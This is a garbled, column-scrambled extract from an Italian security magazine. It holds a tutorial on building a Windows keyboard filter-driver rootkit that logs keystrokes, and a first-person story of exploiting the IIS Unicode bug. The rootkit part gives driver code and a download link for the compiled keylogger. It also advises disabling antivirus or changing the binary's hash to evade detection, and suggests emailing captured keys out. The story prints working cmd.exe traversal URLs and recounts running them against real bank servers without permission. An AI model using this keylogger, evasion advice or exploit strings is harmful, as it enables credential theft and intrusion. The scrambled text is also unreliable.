aspetti verranno tralasciati (ad esempio il significato di [6] Non sempre questo è vero. I filter driver si distinguono infatti in
alcuni parametri passati a certe funzioni). Questi low ed upper filter. Quelli appartenenti alla prima categoria
possono comunque essere meglio compresi risiedono sopra il PDO ma sotto l'FDO, mentre i secondi stanno sia
sopra il PDO che l'FDO. Questi ultimi danno indubbiamente sfogo ai analizzando la documentazione WDK di Microsoft casi più interessanti perché sono in grado di intercettare i dati
Windows (riferirsi al box accanto per ulteriori passanti ancora prima del driver vero e proprio (ovvero del function
informazioni). Il codice è comunque ottimamente driver).
commentato e tradotto in lingua italiana per i lettori di [7] http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gzSecurity System. Per una maggiore usufruibilità
dell'articolo consigliamo quindi di stamparlo e seguirlo [8] Componente di Windows che si occupa di veicolare le richieste
d i I npu t /Ou tpu t a l l o s t ra to ke rne l e pe rme t te i l passo passo.caricamento/scaricamento dinamico dei driver.
Quali strumenti sono necessari per iniziare a creare
un rootkit?
look at WINDOWS
FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
47
Figura 1: Relazione che intercore tra ogni Driver e Device Object. Questa immagine non rappresenta fedelmente la catena di driver e
device object di una tastiera ma è da intendersi unicamente come esempio fruibile a maggiore comprensione dell'articolo.
Uno dei primi compiti che viene svolto all'interno di keyboard filter driver questo interesse è interamente
DriverEntry è quello di popolare l'IRP dispatch volto ad intercettare le richieste di lettura
(IRP_MJ_READ) dalla tastiera (in pratica i tasti battuti table, un'array in cui vengono definiti dei puntatori a
delle funzioni che gestiscono opportunamente le dall'utente):
richieste pervenute al driver. Poiché il mancato
for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; recapito di tali richieste dal filtro ai driver di livello
i++)inferiore precluderebbe certamente la corretta pDriverObject->MajorFunction[i] = interazione dell'utente con il dispositivo associato, i DispatchPassDown;filter driver devono supportare tutti gli IRP Request
implementati dal driver di livello più basso. Di solito si pDriverObject->MajorFunction[IRP_MJ_READ] = limitano quindi a definire una funzione di pass-thru[9] DispatchRead;
per ogni possibile richiesta IRP (nell'esempio sotto
DispatchPassDown), salvo poi impostarne una
specifica per le richieste reputate di interesse (sempre
nell'esempio sotto DispatchRead). Nel caso di un
Il percorso compiuto da un IRP
Quando l'utente preme un tasto nella tastiera, l'I/O Manager del sistema operativo genera una richiesta IRP vuota
(IRP_MJ_READ) che attraversa tutta la catena dei device driver (Figura 1) fino al controller i8042 (quello preposto alla
gestione dell'hardware in questione). A questo punto all'interno dell'IRP viene collocato lo scancode (nient'altro che un
identificativo numerico che corrisponde al tasto premuto) e la richiesta viene inoltrata verso l'alto, ovvero compie il percorso
inverso. Tuttavia per vederla ritornare, il filter driver deve impostare una Completation Routine nel momento in cui riceve
l'IRP vuoto, una specie di marchio che ha un significato del tipo “voglio rivederti una volta che avrai lo scancode al tuo
interno”. Questo è il momento in cui un keylogger interviene. Ottenuto lo scancode, il keylogger deve convertirlo
all'effettivo tasto premuto utilizzando un'apposita tabella di conversione. Le tabelle di conversione possono essere
implementate attraverso delle keymap, vere e proprie mappe di caratteri che variano anche in modo parecchio consistente
in base al layout della tastiera (cioè alla lingua configurata nel sistema).
[9] Una funzione di pass-thru si limita semplicemente a
passare inalterati gli IRP, ovvero le richieste pervenute, al
driver di livello inferiore.
look at WINDOWS
FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
Rootkit Device Object(Senza nome)
/device/keyboardclass0
Device Object senza nome
Catena dei Device Object
8042 Keyboard controller
LIVELLO LOGICO LIVELLO LOGICO
LIVELLO FISICO
Keyboard FilterDriver (Rootkit)
“Klog.sys”
Keyboard classdriver
“Kbdclass.sys”
Keyboard busdriver
“i8042prt.sys”
Catena dei driver
48
Il passo successivo consiste nel creare un Device menzionato in precedenza:
Object da agganciare alla componente interessata. RtlZeroMemory(All'interno della funzione HookKeyboard presente in pKeyboardDeviceObject->DeviceExtension, KbdHook.c, questo task viene svolto invocando sizeof(DEVICE_EXTENSION)
IoCreateDevice:);
PDEVICE_OBJECT pKeyboardDeviceObject;PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pKeyboardDeviceObject->NTSTATUS status = IoCreateDevice( DeviceExtension; pDriverObject,
sizeof(DEVICE_EXTENSION), Si tratta di un struttura custom che i kernel developer
NULL, //no nameutilizzano per memorizzare informazioni di vario genere
FILE_DEVICE_KEYBOARD, utili al corretto espletamento delle attività del driver. Nel
0, caso di Klog questa struttura è definita nel file header
true, “Klog.h” ed il suo contenuto sarà più evidente in &pKeyboardDeviceObject
seguito. A questo punto si può finalmente precedere );
all'hooking del Driver Device Object interessato.
Gli argomenti degni di nota della funzione L'aggancio viene eseguito, a partire dal nome
IoCreateDevice sono il secondo che rappresenta la identificativo dell'oggetto in questione, con la funzione
dimensione di DEVICE_EXTENSION (una struttura che IoAttachDevice. Ma a cosa agganciarci esattamente?
verrà inizializzata successivamente e che conterrà dei Esistono diversi punti di inserzione candidati per questo
campi driver-specific) ed il terzo che rappresenta scopo. Klog si aggancia tuttavia al Device Object
invece il nome assegnato al Device Object. In questo “\\Device\\KeyboardClass0“ gestito dal driver
caso l'oggetto sarà senza nome in quanto le kbdclass.sys. Si tratta di un Class Driver, ovvero un
applicazioni User Land non avranno necessità di tipo di device driver che gestisce degli hardware che
interagire direttamente con esso[10]. Il quarto ed il possono essere genericamente correlati ad una classe
settimo argomento indicano rispettivamente il tipo di ben definita di dispositivi o che hanno delle “funzioni” in
Device Object (FILE_DEVICE_KEYBOARD) e l'indirizzo comune:
IoAttachDevice(che punta alla variabile pKeyboardDeviceObject che pKeyboardDeviceObject,riceverà il puntatore all'oggetto creato. Il primo &uKeyboardDeviceName,argomento è invece il puntatore al DriverObject &pKeyboardDeviceExtension->pKeyboardDevice
ottenuto come primo parametro della funzione );
DriverEntry.
Per effettuare l'hooking vero e proprio sono necessari
altri due step. Anzitutto il Device Object appena creato
deve emulare gli stessi flag del driver sottostante. Uno
strumento come Device Tree[11] può essere utilizzato
per determinare tali flag:
pKeyboardDeviceObject->Flags =
pKeyboardDeviceObject->Flags |
(DO_BUFFERED_IO |
DO_POWER_PAGABLE
);
Dopo si deve inizializzare il Device Extension
look at WINDOWS
FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
[10] Un nome ad un Device Object viene solitamente assegnato
quando l'oggetto in questione deve comunicare con una o più
applicazioni lato utente, ricevendo da esse delle direttive ben
precise (le cosiddette IOCTL). Ad esempio nel caso di un driver che
implementa delle funzionalità di firewalling, l'applicazione user land
che consente all'utente di configurare le regole deve poter
comunicare in qualche modo con il relativo Device Object per
aggiungerle o rimuoverle dinamicamente.
[11] Le dipendenze e l'organizzazione stratificata dei device driver
nel proprio sistema possono essere osservate con uno strumento
come DeviceTree disponibile previa registrazione dal sito
http://www.osronline.com
49
Il primo parametro alla funziona indica il Device Object Il primo parametro passato a PsCreateSystemThread
creato in precedenza con IoCreateDevice. Il secondo è un handle dichiarato poco prima nel codice (HANDLE
è invece l'indirizzo alla stringa che contiene il nome hThread;) mentre il sesto corrisponde all'entry point
d e l l ' o g g e t t o c h e s i s t a h o o k a n d o del thread che nel nostro caso verrà creato a partire dal
(\\Device\\KeyboardClass0) debitamente convertita codice presente nella funzione (ThreadKeyLogger).
in Unicode (tale conversione avviene un attimo prima L'ultimo argomento è il puntatore al Device Extention.
nel codice). IoAttachDevice ritorna anche un Come vedremo in seguito il thread utilizzerà alcuni dei
puntatore al Device Object appena agganciato. Questo campi contenuti in questa struttura per sincronizzarsi
viene memorizzato nel campo pKeyboardDevice della con la Completation Routine man mano che questa
intercetterà gli scancode presenti negli IRP e per struttura Device Extension per permettere al filtro di
loggare su file i tasti convertiti. All'interno di passare correttamente gli IRP che riceverà al driver
ThreadKeyLogger, il flusso di esecuzione del thread si sottostante.
blocca alla chiamata KeWaitForSingleObject in
attesa che gli scancode contenuti negli IRP che Il Worker Thread“risalgono” dalla catena siano disponibili nella coda.
Questa coda viene creata in DriverEntry subito dopo Adesso che l'hooking è completato in teoria siamo
il ritorno della funzione InitThreadKeyLogger con le pronti ad intercettare e loggare i dati in arrivo. La parola
c h i a m a t e a I n i t i a l i z e L i s t H e a d , “teoria” non assume qui un significato casuale. Infatti
mentre per espletare il primo task non sono richieste KeInitializeSpinLock e KeInitializeSemaphore:
particolari accortezze, il logging è un'operazione più
difficile da espletare in un driver poiché le operazioni di Il file di log input/output sui file possono avvenire solamente ad un
livello denominato IRQL_PASSIVE_LEVEL, mentre la All'interno del blocco principale DriverEntry viene Completation Routine (si veda il box a pagina 48) può quindi creato con la funzione ZwCreateFile il file in cui e s s e r e r i c h i a m a t a s o l a m e n t e a l l i v e l l o
verranno loggati i tasti premuti:DISPATCH_LEVEL, che è caratterizzato dalla
presenza di alcune limitazioni tra le quali appunto le ZwCreateFile(operazioni di I/O sui file. Per bypassare questo &pKeyboardDeviceExtension->hLogFile,
problema, Klog subito dopo l'hooking, crea un thread GENERIC_WRITE,
&obj_attrib,che sarà responsabile di loggare i tasti premuti. La sua
&file_status,i n i z i a l i z z a z i o n e a v v i e n e n e l l a f u n z i o n e NULL,“InitThreadKeyLogger” dichiarata in “kbdlog.c”. Il FILE_ATTRIBUTE_NORMAL,punto più importante qui è proprio relativo alla 0,
creazione del thread con PsCreateSystemThread: FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,PsCreateSystemThread(
NULL, &hThread,
0 (ACCESS_MASK)0,
); NULL,
(HANDLE)0,La funzione ZwCreateFile prende una serie di NULL,argomenti tra i quali i permessi di accesso al file, ThreadKeyLogger,
l'indirizzo della variabile in cui verrà memorizzato il suo pKeyboardDeviceExtension
); descrittore (il campo hLogFile nella struttura Device
Extension) e gli attributi che descrivono l'oggetto
look at WINDOWS
FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
50
(obj_attrib). Tra questi attribuiti vi è anche la stringa pervenuta. Ma cosa è esattamente uno Stack
Location? Seppure ciascun IRP sia un'unica grande che specifica il nome del file, convertita in formato
struttura allocata in memoria, la sua dimensione varia in Unicode e dichiarata poco prima nel codice come:
base al numero di driver presenti nella catena. In parole
CCHAR ntNameFile[64] = povere per ogni driver presente nella catena, l'I/O "\\DosDevices\\c:\\klog.txt"; Manager aggiunge uno spazio extra nell'IRP
denominato appunto IO_STACK_LOCATION in cui Come già detto in precedenza il file di log una volta vengono collocati i parametri specifici della richiesta creato potrà essere scritto solamente da un thread ricevuta. A questo punto l'IRP viene instradato verso il caricante a livello IRQL_PASSIVE_LEVEL (il worker driver di livello inferiore con la funzione IoCallDriver. thread creato nel paragrafo prima). A questo punto il Il primo parametro di questa funzione è proprio blocco DriverEntry termina dopo aver popolato il l'indirizzo in cui si trova il device object del driver più in campo DriverUnload del puntatore al driver object: basso (memorizzato nella variabile puntatore
pKeyboardDevice del Device Extension al momento pDriverObject->DriverUnload = Unload;
dell'hook) mentre il secondo è il puntatore all'intera
struttura IRP(pIrp):La funzione Unload viene invocata quando il driver
viene rimosso dalla memoria. Il suo scopo è quello di IoCallDriver(
liberare tutte le risorse allocate durante la sua ((PDEVICE_EXTENSION) esecuzione. Klog è solo un Proof Of Concept (un codice pDeviceObject->DeviceExtension)->
dimostrativo) ed in quanto tale cerca di “uscire” dalla pKeyboardDevice,
memoria in modo pulito senza generare alcun crash del pIrp
);sistema. Un rootkit nel mondo reale mira invece a
rimanere in memoria per il più lungo arco temporale
Un pò più complessa è la funzione DispatchRead possibile senza essere rimosso, pertanto la funzione di
dichiarata in kbdhook.c che invece gestisce la scaricamento viene usualmente e di proposito lasciata
vuota. Nella maggior parte dei casi ciò causerà un Blue ricezione delle richieste IRP_MJ_READ. Per ogni IRP di
Screen Of Death dopo ogni tentativo di rilascio del questo tipo la funzione deve infatti impostare la
driver da user space. C o m p l e t a t i o n R o u t i n e c o n
IoSetCompleationRoutine, questo però dopo aver
Cominciano ad arrivare gli IRP… predisposto correttamente lo Stack Location:
Gli IRP che il filter driver riceve da questo momento in
poi possono essere collocati in due categorie: richieste
di lettura (IRP_MJ_READ) equivalenti alla pressione di
un tasto o tutte le altre richieste. Quelle appartenenti
alla seconda categoria vengono gestite dalla funzione
di pass-thru DispatchPassDown dichiarata in klog.c.
Sono un paio le operazioni base svolte al suo interno.
D a p p r i m a c o n l a m a c r o
IoSkipCurrentIrpStackLocation viene modificato il
puntatore all'array di strutture IO_STACK_LOCATION in
modo che il driver di livello inferiore possa accedere alla
stessa struttura[12] ricevuta dal filter. Ciò consente di
lasciare assolutamente inalterata la richiesta
look at WINDOWS
FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
[12] Come vedremo più avanti questo task può essere eseguito in
diversi modi, ad esempio manipolando direttamente i puntatori
r i t o rna t i da IoGetCurrentIrpStackLocation e
IoGetNextIrpStackLocation oppure utilizzando la funzione IoCopyCurrentIrpStackLocationToNext
51
PIO_STACK_LOCATION currentIrpStack PKEYBOARD_INPUT_DATA keys =
= IoGetCurrentIrpStackLocation(pIrp); (PKEYBOARD_INPUT_DATA)pIrp->
AssociatedIrp.SystemBuffer;
PIO_STACK_LOCATION nextIrpStack =
IoGetNextIrpStackLocation(pIrp); int numKeys = pIrp->
IoStatus.Information
*nextIrpStack = *currentIrpStack; / sizeof(KEYBOARD_INPUT_DATA);
IoSetCompletionRoutine( Quindi per ciascun elemento prelevato dall'array pIrp, aggiunge nella coda le informazioni di interesse (lo OnReadCompletion, scancode ed i flags che indicano se il tasto è stato pDeviceObject,
p r e m u t o o r i l a s c i a t o ) c o n TRUE,
ExInterlockedInsertTailList. Gli elementi TRUE,
vengono inseriti uno alla volta. TRUE
);Il Worker Thread a questo punto viene allertato della
presenza di dati nella coda, li estrapola con la macro L ' a r g o m e n t o p i ù i m p o r t a n t e p a s s a t o a CONTAINING_RECORD e converte ciascuno scancode IoSetCompletionRoutine è il secondo. Questo nell'effettivo tasto premuto passando questi dati alla specifica la funzione di callback che verrà invocata funzione ConvertScanCodeToKeyCode (dichiarata quando l'IRP sarà completato (ovvero quando da all'interno di scancode.c). Al ritorno da questa funzione richiesta “vuota” attraverserà la catena con lo scancode
il Worker Thread registra su file il tasto effettivamente corrispondente al tasto premuto dall'utente). Anche in
premuto con ZwWriteFile:questo caso l'IRP viene passato al driver di livello
inferiore con IoCallDriver.ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,Fase finale: Intercettazione e logging
NULL,
NULL,Lo scopo della funzione OnReadCompletation è quindi NULL,
quello di estrapolare gli scancode e posizionarli nella &io_status,
coda tenuta sotto controllo dal Worker Thread in modo &keys,
strlen(keys),che questo possa convertirli in appositi tasti da loggare
NULL,su file. Dapprima Klog si assicura che l'IRP ritornato sia NULLstato “completato” con successo, ovvero abbia “a );bordo” uno o più scancode:
Gli argomenti più importanti a ZwWriteFile sono tre. Il if(pIrp->IoStatus.Status == STATUS_SUCCESS)
primo indica il descrittore al file memorizzato nella
Device Extension Area. Il sesto è il buffer che si deve In seguito preleva da SystemBuffer un array di
scrivere ed il settimo la sua dimensione in byte[13]. strutture KEYBOARD_INPUT_DATA (in cui è presente il
membro MakeCode che è proprio preposto al
c o n t e n i m e n t o d e l l o s c a n c o d e ) e d a
IoStatus.Information la dimensione di questo
array:
look at WINDOWS
FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
[13] Non tutti i tasti premuti equivalgono in dimensione ad un byte.
Alcuni tasti definiti estesi possono dare vita a più byte. Ad esempio il
tasto Invio genera contemporaneamente i byte “ritorno a carrello”
(0x0a) e “nuova linea” (0x0d).
52
file C:\Klog.txt. Questo non potrà essere aperto Testare il funzionamento di Klogmentre il driver è in esecuzione. Per tale motivo è
necessario scaricare il rootkit dalla memoria per potervi A questo punto del codice possiamo dire che tutti i
accedere o eventualmente trovare un metodo principali aspetti di un keyboard filter driver sono stati
alternativo (ad esempio modificare il sorgente in modo coperti (si rimanda per maggiore completezza, se non
che i tasti loggati vengano inviati per email o “sparati” lo si è fatto fino ad ora, ai sorgenti commentati). Adesso
fuori attraverso altri meccanismi). però è il momento di un po' di pratica! Per testare il
funzionamento di Klog nel vostro sistema (quelli da noi
Il secondo metodo richiede invece uno step preventivo testati sono stati Windows 2000 Sp4 e Windows XP
in più: la compilazione dei sorgenti. Installato il WDK SP2) potete procedere in due modi. Il primo è quello più
(reperibile dove indicato nel Box a pagina 47) cliccate semplice. Prelevate dal riferimento [7] il driver rootkit già
su Start, Programmi, Windows Driver Kit, WDK6000, compilato (Klog.sys[14]) ed il tool InstDrv.exe.
Build Environments e selezionate il tipo di sistema Lanciate quest'ultimo. Nel text box inserite il percorso operativo in cui il rootkit dovrà essere caricato. completo in cui avete copiato il .sys, quindi cliccate Scegliete l'icona del prompt dei comandi marcata come dapprima sul pulsante “Install” e dopo su “Start”. Un “Checked”, quindi all'apertura dell'interprete spostatevi messaggio di avviso vi dovrebbe avvertire della corretta con il comando DOS “cd” nella cartella in cui sono riuscita dell'operazione. A questo punto il rootkit è in
contenuti i sorgenti di Klog e lanciate il comando esecuzione in memoria e dovreste accorgervene anche
“build”. Al termine della compilazione l'oggetto binario dalla presenza nel vostro hard disk del file
verrà collocato all'interno della sottodirectory “bin”. C:\Klog.txt. Digitate un po' di tasti (ad esempio
Svolgete le operazioni descritte in precedenza per provate ad inviare una email o loggarvi alla vostra
caricarlo e testarlo.webmail protetta con SSL). Al termine cliccate sul
pulsante “Stop” di InstDrv ed osservate il contenuto del
Scopri qui http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz
i contenuti extra messi a disposizione della redazione per questo articolo.
look at WINDOWS
FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
[14] Probabilmente klog.sys verrà identificata come una
componente infetta dal vostro antivirus, quindi per continuare a
svolgere il test dovrete momentaneamente disattivarlo. In
alternativa si può modificare il sorgente di klog quel minimo da far
apparire diverso l'hash del binario ricompilato così da azzittire le
misure di protezione installate nel sistema.
53
Racconti dall’ undergroundLA VERA STORIA
DELL’ UNICODE BUG
che ti sistema a vita con uno stipendio modesto come l tema dell'etica hacking è uno dei più dibattuti da
certe leggende metropolitane vorrebbero far credere. oltre vent'anni e questo a dispetto della lunga
Forse una volta….But no more!Idatazione di uno dei primi documenti, possiamo
definire cardine della cultura hacker primordiale, The I fattiConscience of a Hacker[1] (anche noto come The
Hacker Manifesto), apparso per la prima volta l'8 Tutto ebbe inizio con un post anonimo nel forum di
gennaio del 1986 nel numero 7 di Phrack. Scritto da Packetstorm il 10 ottobre del 2000:
The Mentor dopo il suo arresto, oggi diffuso in Title: IIS5 has a very big bug that svariati siti web, rappresenta ancora la principale let you execute arbitrary commandfonte di ispirazione per molti hacker o sedicenti tali,
persone “ispirate” in gran parte della casistica a On my win2000+IIS5 ,I can use this URL commettere deface: “Ma The Hacker Manifesto non to execute dir command:dice esplicitamente che non si può defacciare un sito http://127.0.0.1/scripts/..%c1%1c../wiWeb!” E come potrebbe?? D'altronde è stato scritto nnt/system32/cmd.exe?/c+dir+c:\prima ancora che Tim Berners-Lee assieme a
Robert Cailliau progettassero le specifiche and this is a example:preliminari di HTTP ed HTML ed il concetto di World http://www.linux.org.cn/scripts/..%c1%Wide Web a cavallo tra il 1989 ed il 1990! La 1c../winnt/system32/cmd.exe?/c+dir+c:\sensazione al momento, parlando appunto di “etica
hacking”, pare essere che ci si stia allontanando Il contenuto del messaggio era auto-esplicativo e sempre più dalla meta, utilizzando pretesti farlocchi descriveva quello che sarebbe passato alla storia per giustificare azioni oggettivamente senza senso, come l'IIS Unicode Bug. La vulnerabilità permetteva utili forse ad esaltare unicamente un ego alterato e di eseguire remotamente qualsiasi comando su un represso. Ad esempio, dove sta la ricerca della sistema in cui era installato Internet Information conoscenza e dell'informazione nel defacciare il sito Services 5.0, il web server Microsoft in dotazione di del comune di Sant'Ilario dello Ionio o di Monastir in default con Windows 2000, semplicemente digitando quel di Cagliari come realmente accaduto negli ultimi la stringa descritta nel post all'interno di un qualsiasi mesi?
browser web. Il problema risiedeva apparentemente Quella che vi proponiamo oggi è una storia come nel modo in cui il servizio gestiva i caratteri Unicode, tante altre, una storia dalla quale presumiamo, anzi decodificandoli solo successivamente anziché prima siamo convinti, si possa trarre una morale (in fondo le della validazione del percorso e della risorsa richiesta storie dovrebbero servire proprio ad imparare non dall'utente. Inutile dire che www.linux.org.cn fu solo dagli errori personali ma anche e soprattutto da bucato in quelle ore da migliaia di provetti hacker ed quelli commessi dagli altri). Si parla di un ragazzo infestato dalle peggiori backdoor che potessero stupido e fortunato allo stesso tempo. Forse non un esistere nella rete. Davvero strano il destino di questo hacker. Una persona che ammette di aver compiuto sito i cui contenuti, residenti su piattaforma delle azioni “incaute” per uno scopo ben preciso proprietaria Microsoft, miravano invece ad informare (sicuramente opinabili) ma che aldilà della rabbia che gli utenti dell'esistenza del movimento open source e aveva dentro non è stato così codardo da del sistema operativo Linux. Oggi in quel server ci prendersela con il primo di turno, che ha deciso gira una Debian con Apache. Come hanno dichiarato piuttosto di “piegare il sistema” per raggiungere il suo alcuni miei amici profondi sostenitori delle tecnologie obiettivo, non prenderlo a martellate! Perché non aperte, probabilmente chi gestiva quel sistema ha sono tutte rose e fiori. Se ti beccano oggi non vai a imparato la lezione. lavorare per la NASA o per una grossa multinazionale
[1] http://www.phrack.org/archives/7/P07-03
54
Racconti dall’ undergroundLA VERA STORIA
DELL’ UNICODE BUG
Tornando alla storia dei fatti, in realtà esisteva un problema. Prima che la vulnerabilità divenisse celebre
grosso impedimento. Il trucco descritto nel post di io ero comunque già al corrente di questo fatto.In realtà
Packetstorm funzionava solamente sui server cinesi. ci avevo sbattuto il grugno per diverse
Quelli europei ed americani sembravano non essere ore perché dopo aver installato Windows 2000 nella
minimamente intaccati dal problema. Iniziai quindi a mia LAN di casa e trovato la corretta sequenza di
cercare di capire il perché. A quel tempo non avevo la caratteri Unicode, avevo aggiornato il server con tutte
minima conoscenza del set di caratteri Unicode. le patch disponibili del momento e dopo il reboot non
Installai Windows 2000 Server sulla mia LAN di casa ero più riuscito a replicare il problema durante i test
e cominciai velocemente a documentarmi su di esso. successivi. Ci volle un bel po' prima che riuscissi ad
Appresi i concetti base e cominciai a pensare tra me e individuare la patch che rendeva nulla la falla. Allora più
me che i cinesi utilizzavano sicuramente un set di di oggi installare gli aggiornamenti del sistema
caratteri diverso rispetto a quello adottato in Italia. La operativo era comunque un optional quasi per
chiave di volta risiedeva quindi probabilmente nel chiunque (sia che fosse un'azienda, sia che fosse un
trovare la giusta sequenza di caratteri Unicode semplice utente desktop) ed è per questo motivo che i
funzionante sui server Windows che supportavano la worm ed i virus che sfruttarono in seguito l'Unicode Bug
lingua inglese ed italiana. Scrissi allora un piccolo per diffondersi in rete, hanno potuto scorrazzare
programma in C che testava ciclicamente delle liberamente per anni prima di essere quasi del tutto
occorrenze differenti di “%c1%1c” (quella a sua debellati (ma questa è una questione che affronteremo
in seguito). La patch MS00-57[2] menzionata nel volta menzionata nel post di Packetstorm). Ciascuna
bollettino MS00-78[3] non l'aveva insomma installata, occorrenza veniva poi automaticamente inviata al
fino a quel momento, quasi nessuno. Oggi proprio per web server, nel tentativo di eseguire il comando “dir
questa sorta di negligenza, insita possiamo definire c:\”. Poi osservavo le risposte ritornate alla ricerca “built-in” nella maggior parte degli utenti, sono molti i di un output favorevole. Alla fine trovai un'occorrenza vendor che hanno cominciato ad includere nei loro funzionante in “%c0%af”. Questa fu la prima ed sof tware del le procedure automat iche d i ultima che scoprì. Più avanti altri ricercatori molto più aggiornamento. Avast ad esempio non mi avverte curiosi di me avrebbero testato tutte le combinazioni nemmeno più di stare lanciando un update delle Unicode possibili trovandone altre utilizzabili. A definizioni antivirus e me ne accorgo solo quando la questo punto aprì il mio browser, presi dalla lista di spia rossa del mio hard disk comincia a lampeggiare una scansione fatta in precedenza il primo indirizzo come un'autoambulanza ed il PC si blocca per qualche IP pubblico a cui sembrava rispondere un web server secondo! Alla fine, dopo svariati tentativi con IP IIS ed incollai lì la stringa:pubblici, mi accorsi che ad essere vulnerabili
“http://Indirizzo_IP/scripts/..%c0%af. all'Unicode Bug erano tutte le versioni di IIS (a partire ./winnt/system32/cmd.exe?/c+dir+c:\”
dalla 5.0 montata su Windows 2000 fino al primordiale
release 2.0 delle versioni precedenti del sistema Ricontrollai un'ultima volta l'URL, quindi pigiai il tasto
operativo Microsoft). Il calendario del mio PC segnava Invio. Tutto andò come previsto. Il server in questione
a quel tempo il 12 Ottobre dell'anno 2000. Fino a quel mi ritornò in output le directory del suo volume C. Ero
momento nessuno aveva replicato al post originario sul riuscito a riprodurre la vulnerabilità non solo in locale
forum di Packetstorm, né comunicato su qualunque ma anche su Internet. Testai altri indirizzi IP
altro una scoperta simile alla mia.ottenendo gli stessi risultati positivi. Tutti i server,
nessuno escluso, risultavano essere vulnerabili. Più
avanti quando Microsoft cominciò a prestare [2] http://www.microsoft.com/technet/security/bulletin/ms00-
attenzione all'Unicode Bug si apprese che una patch 057.mspx
rilasciata dalla compagnia nell'agosto del 2000, per [3] http://www.microsoft.com/technet/security/bulletin/ms00-
078.mspxuno scopo completamente differente, risolveva già il
55
Racconti dall’ undergroundLA VERA STORIA
DELL’ UNICODE BUG
Avevo in pratica sotto controllo un paio di milioni di La telefonata alla Banca di Romaweb server in tutto il mondo! Uno 0day di questo tipo
oggi farebbe la fortuna di molti criminali online. “Banca di Roma buongiorno, sono XXXX come In realtà la pacchia durò meno di una settimana. Il 17 posso aiutarla?” – rispose una voce femminile ottobre dello stesso anno, il ricercatore di sicurezza dall'altra parte del telefono.noto con il nickname RFP (Rain Forest Puppy) svelò “Si salve” – dissi io con la voce spezzata ed impaurita quello che io avevo già scoperto da cinque giorni. Nel di un ragazzo che aveva appena realizzato di stare frattempo non ero rimasto con le mani in mano. commettendo una grossa stupidaggine – “sto Cinque giorni nel conoscere una vulnerabilità così chiamando per segnalare una pericolosa falla nel importante sono un notevole vantaggio se sfruttati vostro sito web”.adeguatamente. Impiegai questo vantaggio Passarono alcuni secondi di ghiaccio, poi la voce barattando la mia scoperta in cerca di un lavoro, femminile, presa di sorpresa, si fece risentire ovvero cercando di impressionare favorevolmente cercando di non nascondere affatto il suo classico qualche azienda. Oggi, con il senno del poi, tiro un accento romanesco: “Credo de non avè capito sospiro di sollievo e comprendo che mi è andata bbene. Po' spiegamme mejo?”davvero bene. Avrei potuto rischiare grosso ma il Ed io risposi senza mezzi termini: “Il vostro sito gioco all'epoca mi sembrava che valesse la candela. www.bancadiroma.it risiede su un'istanza del web Avevo 19 anni ed ero disoccupato. Nessuna server IIS che permette a chiunque di eseguire compagnia era disposta ad assumermi o darmi un comandi dall'esterno della vostra LAN o visualizzare i lavoro perché non avevo ancora adempiuto agli file del sistema… E' una cosa grave!”obblighi militari…e ripensandoci, allora avevo una Dubitai che la ragazza avesse capito qualcosa. Poi rabbia da anarchico insoddisfatto che riuscivo a con mia profonda sorpresa mi disse in dialetto meno placare a malapena, soprattutto quando mi trovavo di accentuato: “Uhhh ma allora sei un hacker? Puoi fronte all'evidenza di tante prospettive di lavoro aspettare un momento?” – quindi fece partire una di rovinate o mancate a causa di quello stupido quelle orrende musichette, classiche di quando si adempimento obbligatorio che era la leva. mette in attesa una persona. “Adesso” - pensai tra me
e me – “mi tracciano e mi arrestano!”. Decisi, come si
Partono le telefonate vede ogni tanto nei film alla TV, che se la ragazza non
fosse ritornata al telefono entro quindici secondi,
avrei abbassato la cornetta. In quel momento presi Quella che segue è la cronaca approssimativa
coscienza che non era tanto folle il fatto che stessi ricostruita a memoria di ciò che accadde tra il 12
cercando di avvertire una banca del grave rischio che ottobre del 2000 ed i giorni delle settimane
correva, quanto quello che li stavo proprio chiamando successive. Fino a quel momento non vi era server
dall'utenza telefonica di casa intestata ai miei IIS che testassi che non fosse vulnerabile all'Unicode
genitori! Dopo qualche secondo la musichetta si Bug ed i siti delle banche italiane non facevano certo
interruppe e la ragazza mi disse: eccezione. Ne presi di mira una ventina,
“Ti passo il servizio tecnico e racconti a loro di questa approfittando degli URL segnalati in un numero di
cosa. Ok?”. Annuì ringraziando e mi passarono il Jack uscito proprio in quel periodo. Più della metà
CED. Qui parlai con un tecnico che senza nemmeno erano vulnerabili all'Unicode Bug. Fra questi ne scelsi
interessarsi del problemi mi chiese come si poteva tre: Banca di Roma, Webank (ovvero la Banca
risolvere. Gli dettai per telefono il link web in cui Popolare di Milano) e Banca 121, esattamente
risiedeva la patch MS00-57 e ci salutammo dopo aver localizzate al centro, al nord ed al sud Italia. Interrogai
ricevuto da lui un freddo ringraziamento e la il database whois del NIC (www.nic.it) per risalire ai
promessa che avrebbe provveduto a rimuovere “la numeri telefonici delle rispettive sedi e cominciai a
minaccia”. Riagganciai amaramente la cornetta con chiamare.
56
Racconti dall’ undergroundLA VERA STORIA
DELL’ UNICODE BUG
la certezza che dopo qualche giorno la polizia postale fax:
avrebbe bussato alla porta di casa.
Ho riscontrato una vulnerabilità nel vostro server
www.banca121.it che mi permette di avere accesso a La telefonata alla Banca Popolare di tutto l'hard disk della macchina (come sotto potete Milanoben vedere) . Ho cercato d i contat tarv i
telefonicamente ma non ha mai risposto nessuno al Abbastanza spaventato da quello che avevo fatto,
num [omissis], per questo vi invio un fax. Vogliate ebbi la grande idea di non chiamare il successivo
cortesemente scaricare ed installare la patch dal contatto da casa mia…ma dall'ufficio di mio papà!
seguente URL: Questa volta mi rispose un uomo che a suo dire era il
diretto responsabile del server www.webank.it e non http://www.microsoft.com/technet/security/bullettin/
credeva ad una sola parola di quello che gli stavo ms00-078.asp
